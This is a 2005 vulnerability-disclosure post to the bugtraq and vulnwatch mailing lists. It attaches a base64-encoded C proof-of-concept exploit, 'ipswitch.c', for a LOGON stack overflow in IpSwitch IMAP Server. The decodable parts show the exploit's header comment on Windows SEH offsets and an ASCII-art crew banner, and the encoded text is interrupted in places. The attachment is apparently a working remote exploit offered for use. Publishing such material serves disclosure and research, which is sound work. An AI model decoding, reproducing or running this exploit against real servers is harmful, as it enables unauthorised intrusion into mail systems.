IpSwitch IMAP Server LOGON stack overflow
To: <vulnwatch@vulnwatch.org.>, <bugtraq@securityfocus.com.>,
From: <nolimit@coreiso.org.>
Subject: IpSwitch IMAP Server LOGON stack overflow
Date: Tue, 7 Jun 2005 18:24:04 -0400
Message-ID: <EA88E26338E9437E954706D3D6054910.MAI@moststable.com.>
X-Mailer: MailEnable Web Mail 1.1
MIME-Version: 1.0
Content-Type: multipart/mixed;
boundary="--=_NextPart_000_000B_6E23A351.157640CA"
X-Read: 0
X-Priority: 3
X-MSMail-Priority: Medium
X-Virus-Scanned: antivirus-gw at tyumen.ru
This is a multi-part message in MIME format.
----=_NextPart_000_000B_6E23A351.157640CA
Content-type: text/plain; charset="ISO-8859-1"
Hello, attached is a proof of concept for the IpSwitch IMAP Server LOGON stack overflow
nolimit
----=_NextPart_000_000B_6E23A351.157640CA
Content-Type: application/binary;
Name="ipswitch.c"
Content-Transfer-Encoding: base64
Content-Disposition: attachment;
FileName="ipswitch.c"
LyogDQpJcFN3aXRjaCBJTUFQIFNlcnZlciBMT0dPTiBzdGFjayBvdmVyZmxvdy4NClNvZnR3YXJl
IEhvbGUgZGlzY292ZXJlZCBieSBpREVGRU5TRQ0KUE9DIHdyaXR0ZW4gYnkgbm9saW1pdCBhbmQg
QnV6ekRlZSANCg0KRmlyc3QsIHNvbWUgaW5mb3JtYXRpb24gZm9yIHRoZSBmZXcgb2YgeW91IHRo
YXQga25vdyBob3cgdGhpcyBzdHVmZiB3b3Jrcy4NClRoZSByZWFzb24geW91IHNlZSBubyBTUDIg
b3IgMjAwMyBvZmZzZXRzIGlzIGJlY2F1c2Ugb2YgV2luZG93cyBTRUggY2hlY2tzLiANClRoYXRz
IHJpZ2h0LCBpbiB0aGlzIG9uZSBzaXR1YXRpb24sIFRoZXkndmUgc3RvcHBlZCBoYWNrZXJzIGZy
b20gZXhwbG9pdGluZyB0aGUgbWFjaGluZS4gDQpBdCBsZWFzdCB3aXRoIGFzIG11Y2ggcmVzZWFy
Y2ggYXMgS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AgLi0tLSAtLbdYty0tLS0tLS0tLS0tIC0tIC0gIC0g
IHwgLSBjIG8gciBlIGkgcyBvICAgX18gXCAgtyAgIC0gIC0gLS0tLg0KICAgICB8ICAgICAgICEg
ICAgICAgICAgICAgICAgICAgICAgOiAgICAgICAgICAgICAgICAgIC9fL1wgXC8gICAgICAgICAg
ICB8DQogICAgICAgICAgICAgfCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICBfXCBcIFwgICAgICAgICAgICAgIHwNCiAgUyEgL1xfX19fICB8ICBfIF9fX19fXy9cIF9fIF9f
X19fXy9cIF9fIF9fX19fXy9cICAgLyAvXF9cLyBfX19fX19fIC9cX19fX19fDQogICBfLyAgICBf
L19fX19fXCAgICBfICAgIFxfXyAgICBfICAgIFxfXyAgICBfICAgIFxfLyAvICBcIF8vICBfX19f
Ly8gICBfICAgIFxfDQogIC8vICAgIC8gICAgIF8gICAgICAvICAgICAvICAgIF8vICAgICAvICAg
ICAvICAgICAvIC8gICAvIFxfX19fXyAgICAgIHwvICAgICAvDQpfLyAgICAgLyAgICAgIC8gICAg
IC8gICAgXy8gICAgIFwgICAgXy9cICAgIF9fX19fXy9cLyAgIC86ICAgICB8LyAgICAgIC8gICAg
IC98DQpcIF9fX19fX19fX19fL1wgX19fX19fX19fXCBfX19fX3xcX19fX19fXCBfX19fX19fX19f
XCAgL3x8ICAgICBfX19fX19fX19fX19fX198DQogXC8gIC4gICAgICAgLiBcLyAgICAgICAgIFwv
ICAgICAgICAuICAgIFwvICAgICAvXy8gICAvIHxfX19fX19cICAgICAgICAgIC4NCiAgICAgfCAg
ICAgICB8ICAgICAgICAgICAgICAgICAgICAgIC4gICAgICAgICAgX1wgXCAgLyAgICAgICAgICAg
ICAgICAgICAgfA0KICAgICB8ICAgICAgIHwgICAgICAgICAgICAgICAgICAgICAgbCAgICAgICAg
IC9fL1xfXC8gICAgICAgICAgICAgICAgICAgICB8DQogICAgIGAtLS0tLS0gfCAtLS0tLS0tIC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